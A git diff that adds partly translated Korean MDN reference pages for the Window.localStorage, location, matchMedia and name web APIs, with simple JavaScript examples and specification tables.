+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.length")}}</p>
diff --git a/files/ko/web/api/window/localstorage/index.html b/files/ko/web/api/window/localstorage/index.html
new file mode 100644
index 0000000000..328650bb16
--- /dev/null
+++ b/files/ko/web/api/window/localstorage/index.html
@@ -0,0 +1,92 @@
+---
+title: Window.localStorage
+slug: Web/API/Window/localStorage
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - Storage
+  - Web Storage
+  - Window
+  - WindowLocalStorage
+  - 로컬스토리지
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p><span class="seoSummary"><code><strong>localStorage</strong></code><strong> </strong>읽기 전용 속성을 사용하면 {{domxref("Document")}} {{glossary("origin", "출처")}}의 {{domxref("Storage")}} 객체에 접근할 수 있습니다. 저장한 데이터는 브라우저 세션 간에 공유됩니다.</span> <code>localStorage</code>는 {{domxref("Window.sessionStorage", "sessionStorage")}}와 비슷하지만, <code>localStorage</code>의 데이터는 만료되지 않고 <code>sessionStorage</code>의 데이터는 페이지 세션이 끝날 때, 즉 페이지를 닫을 때 사라지는 점이 다릅니다. ("사생활 보호 모드" 중 생성한 <code>localStorage</code> 데이터는 마지막 "사생활 보호" 탭이 닫힐 때 지워집니다.)</p>
+
+<p><code>localStorage</code>에 저장한 자료는 <strong>페이지 프로토콜별로 구분</strong>합니다. 특히 HTTP(<a href="http://example.com">http://example.com</a>)로 방문한 페이지에서 저장한 데이터는 같은 페이지의 HTTPS(<a href="https://example.com">https://example.com</a>)와는 다른 <code>localStorage</code>에 저장됩니다.</p>
+
+<p>키와 값은 <u>항상</u> 각 문자에 2바이트를 할당하는 UTF-16 {{domxref("DOMString")}}의 형태로 저장합니다. 객체와 마찬가지로 정수 키는 자동으로 문자열로 변환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="notranslate"><em>myStorage</em> = <em>window</em>.localStorage;</pre>
+
+<h3 id="값">값</h3>
+
+<p>현재 {{glossary("origin", "출처")}}의 로컬 저장 공간에 접근할 수 있는 {{domxref("Storage")}} 객체.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>요청이 정책의 결정을 위반했거나, 출처가 <a href="/ko/docs/Web/Security/Same-origin_policy#출처의_정의">유효한 스킴/호스트/포트 튜플</a>이 아닌 경우. 유효하지 않은 튜플은 출처가 <code>file:</code>이나 <code>data:</code> 스킴을 사용했을 때 발생할 수 있습니다. 예외의 예를 들자면 사용자가 특정 출처의 지속성 데이터를 거부하도록 브라우저를 설정하는 경우가 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 코드는 현재 도메인의 로컬 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.</p>
+
+<pre class="brush: js notranslate">localStorage.setItem('myCat', 'Tom');
+</pre>
+
+<p>위에서 추가한 <code>localStorage</code> 항목을 읽는 법은 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">const cat = localStorage.getItem('myCat');</pre>
+
+<p>그리고 제거는 아래와 같습니다.</p>
+
+<pre class="brush: js notranslate">localStorage.removeItem('myCat');</pre>
+
+<p><code>localStorage</code> 항목의 전체 제거 구문입니다.</p>
+
+<pre class="brush: js notranslate">localStorage.clear();
+</pre>
+
+<div class="blockIndicator note">
+<p>참고: <a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a> 문서에서 전체 예제를 살펴보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webstorage.html#dom-localstorage", "localStorage")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Local_storage">Local storage with Window.localStorage</a></li>
+ <li>{{domxref("Window.sessionStorage")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/location/index.html b/files/ko/web/api/window/location/index.html
new file mode 100644
index 0000000000..702857e02e
--- /dev/null
+++ b/files/ko/web/api/window/location/index.html
@@ -0,0 +1,213 @@
+---
+title: Window.location
+slug: Web/API/Window/location
+tags:
+  - API
+  - HTML
+  - Window
+  - 레퍼런스
+translation_of: Web/API/Window/location
+---
+<p>{{APIRef}}</p>
+
+<p><strong><code>Window.location</code></strong> 프로퍼티에 접근하면 읽기 전용인 {{domxref("Location")}} 오브젝트를 얻어올 수 있습니다. 이는 현재 도큐먼트의 로케이션에 대한 정보를 담고 있습니다.</p>
+
+<p>Though <code>Window.location</code> is a <em>read-only</em> <code>Location</code> object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with <code>location</code> as if it were a string in most cases: <code>location = 'http://www.example.com'</code> is a synonym of <code>location.href = 'http://www.example.com'</code>.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">var <em>oldLocation</em> = location;
+location = <em>newLocation</em>;
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="Basic_Example">Basic Example</h3>
+
+<pre class="brush: js">alert(location); // alerts "https://developer.mozilla.org/en-US/docs/Web/API/Window.location"</pre>
+
+<h3 id="예제_1_새_페이지로_이동하기">예제 #1: 새 페이지로 이동하기</h3>
+
+<p>Whenever a new value is assigned to the location object, a document will be loaded using the URL as if <code>location.assign()</code> had been called with the modified URL. Note that security settings, like CORS, may prevent this to effectively happen.</p>
+
+<pre class="brush: js">location.assign("http://www.mozilla.org"); // 또는
+location = "http://www.mozilla.org";
+</pre>
+
+<h3 id="예제_2_서버로부터_현재_페이지_강제로_다시_로드하기">예제 #2: 서버로부터 현재 페이지 강제로 다시 로드하기</h3>
+
+<pre class="brush: js">location.reload(true);</pre>
+
+<h3 id="예제_3">예제 #3</h3>
+
+<p>Consider the following example, which will reload the page by using the <a href="/en-US/docs/Web/API/Location.replace"><code>replace()</code></a> method to insert the value of <code>location.pathname</code> into the hash:</p>
+
+<pre class="brush: js">function reloadPageWithHash() {
+  var initialPage = location.pathname;
+  location.replace('http://example.com/#' + initialPage);
+}
+</pre>
+
+<div class="note"><strong>Note:</strong> The example above works in situations where <code>location.hash</code> does not need to be retained. However, in Gecko-based browsers, setting <code>location.pathname</code> in this manner will erase any information in <code>location.hash</code>, whereas in WebKit (and possibly other browsers), setting the pathname will not alter the hash. If you need to change pathname but keep the hash as is, use the <code>replace()</code> method instead, which should work consistently across browsers.</div>
+
+<h3 id="예제_4_Display_the_properties_of_the_current_URL_in_an_alert_dialog">예제 #4: Display the properties of the current URL in an alert dialog:</h3>
+
+<pre class="brush: js">function showLoc() {
+  var oLocation = location, aLog = ["Property (Typeof): Value", "location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// in html: &lt;button onclick="showLoc();"&gt;Show location properties&lt;/button&gt;
+</pre>
+
+<h3 id="예제_5_Send_a_string_of_data_to_the_server_by_modifying_the_search_property">예제 #5: Send a string of data to the server by modifying the <code>search</code> property:</h3>
+
+<pre class="brush: js">function sendData (sData) {
+  location.search = sData;
+}
+
+// in html: &lt;button onclick="sendData('Some data');"&gt;Send data&lt;/button&gt;
+</pre>
+
+<p>The current URL with "?Some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).</p>
+
+<h3 id="예제_6_Using_bookmarks_without_changing_the_hash_property">예제 #6: Using bookmarks without changing the <code>hash</code> property:</h3>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"/&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script&gt;
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+  document.documentElement.scrollTop = nTop;
+  document.documentElement.scrollLeft = nLeft;
+}
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+&lt;/script&gt;
+&lt;style&gt;
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.&lt;/p&gt;
+&lt;p&gt;Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.&lt;/p&gt;
+&lt;p id="myBookmark1"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark2');"&gt;Go to bookmark #2&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.&lt;/p&gt;
+&lt;p&gt;Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.&lt;/p&gt;
+&lt;p&gt;Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&lt;/p&gt;
+&lt;p&gt;Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.&lt;/p&gt;
+&lt;p&gt;Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.&lt;/p&gt;
+&lt;p&gt;Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.&lt;/p&gt;
+&lt;p id="myBookmark2"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark1');"&gt;Go to bookmark #1&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark1', false);"&gt;Go to bookmark #1 without using location.hash&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark3');"&gt;Go to bookmark #3&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.&lt;/p&gt;
+&lt;p&gt;Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.&lt;/p&gt;
+&lt;p id="myBookmark3"&gt;&lt;em&gt;Here is the bookmark #3&lt;/em&gt;&lt;/p&gt;
+&lt;p&gt;Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.&lt;/p&gt;
+&lt;p&gt;Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.&lt;/p&gt;
+&lt;p&gt;Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.&lt;/p&gt;
+&lt;p&gt;Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.&lt;/p&gt;
+&lt;p&gt;Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.&lt;/p&gt;
+&lt;p&gt;Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.&lt;/p&gt;
+&lt;p&gt;Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.&lt;/p&gt;
+&lt;p&gt;Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.&lt;/p&gt;
+&lt;p&gt;Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.&lt;/p&gt;
+&lt;p&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<div class="note"><strong>Note:</strong> The function <code>showNode</code> is also an example of the use of the <code><a href="/en/JavaScript/Reference/Statements/for" title="en/JavaScript/Reference/Statements/for">for</a></code> cycle without a <code>statement</code> section. In this case <strong>a semicolon is always put immediately after the declaration of the cycle</strong>.</div>
+
+<p>아래는 같은 역할을 하지만, 애니메이션 스크롤이 들어간 버전…:</p>
+
+<pre class="brush: js">var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame &gt; nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash &amp;&amp; _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId &gt; -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Window.location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Window.location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Window.location")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>The interface of the returned value, {{domxref("Location")}}.</li>
+ <li>A similar information, but attached to the document, {{domxref("Document.location")}}.</li>
+ <li><a href="/en/DOM/Manipulating_the_browser_history" title="en/DOM/Manipulating the browser history">Manipulating the browser history</a></li>
+ <li><a href="/en-US/docs/DOM/Mozilla_event_reference/hashchange" title="/en-US/docs/DOM/Mozilla_event_reference/hashchange">hashchange</a></li>
+</ul>
diff --git a/files/ko/web/api/window/matchmedia/index.html b/files/ko/web/api/window/matchmedia/index.html
new file mode 100644
index 0000000000..224edecbd1
--- /dev/null
+++ b/files/ko/web/api/window/matchmedia/index.html
@@ -0,0 +1,77 @@
+---
+title: Window.matchMedia()
+slug: Web/API/Window/matchMedia
+tags:
+  - API
+  - CSSOM View
+  - JavaScript
+  - Media Queries
+  - Method
+  - Reference
+translation_of: Web/API/Window/matchMedia
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Window.matchMedia()</code></strong> 메서드는 주어진 <a href="/ko/docs/Web/Guide/CSS/Media_queries">미디어 쿼리</a> 문자열의 분석 결과를 나타내는 {{domxref("MediaQueryList")}} 객체를 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">window.matchMedia(<em>mediaQueryString</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>mediaQueryString</code></dt>
+ <dd>분석할 미디어 쿼리를 나타내는 문자열.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 미디어 쿼리에 대한 {{domxref("MediaQueryList")}} 객체,</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>다음 예제는 화면이 매우 좁을 때 다른 작업을 수행합니다.</p>
+
+<pre class="brush: js">if (window.matchMedia("(min-width: 400px)").matches) {
+  /* 뷰포트 너비가 400 픽셀 이상 */
+} else {
+  /* 뷰포트 너비가 400 픽셀 미만 */
+}
+</pre>
+
+<p>더 많은 예제는 <a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries programmatically</a>를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-window-matchmedia", "Window.matchMedia()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.matchMedia")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/CSS/Media_queries">미디어 쿼리 사용하기</a></li>
+ <li><a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Using media queries from code</a></li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListListener")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/name/index.html b/files/ko/web/api/window/name/index.html
new file mode 100644
index 0000000000..54228c7183
--- /dev/null
+++ b/files/ko/web/api/window/name/index.html
@@ -0,0 +1,32 @@
+---
+title: Window.name
+slug: Web/API/Window/name
+tags:
+  - 참고
+  - 창
+translation_of: Web/API/Window/name
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>창의 이름을 얻거나/설정합니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><var>string</var> = window.name;
+window.name = <var>string</var>;
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">window.name = "lab_view";
+</pre>
+
+<h2 id="Notes" name="Notes">설명</h2>
+
+<p>창의 이름은 주로 하이퍼링크나 폼의 target으로 설정됩니다. 그외엔, 창은 이름을 가지는 것을 거의 필요로 하지 않습니다.</p>
+
+<p>또한 몇몇 프레임워크에서 창의 이름은 cross-domain messaging을 제공하기 위해 사용됩니다. (예를 들면, <a href="http://www.thomasfrank.se/sessionvars.html">SessionVars</a> 과 Dojo's <a href="http://www.sitepen.com/blog/2008/07/22/windowname-transport/">dojox.io.windowName</a>) 좀더 보안을 생각한다면 JSONP로 대체 될 수 있습니다. 하지만 최근 의 웹어플리케이션이 호스팅하는 민감한 데이터들은 cross-domain messaging을 이용하기 위해서 <code>window.name</code>에 의존해서는 안되며, 대신 <a href="/en-US/docs/Web/API/Window/postMessage">postMessage API</a>를 이용하는 방법이 있습니다.</p>
+
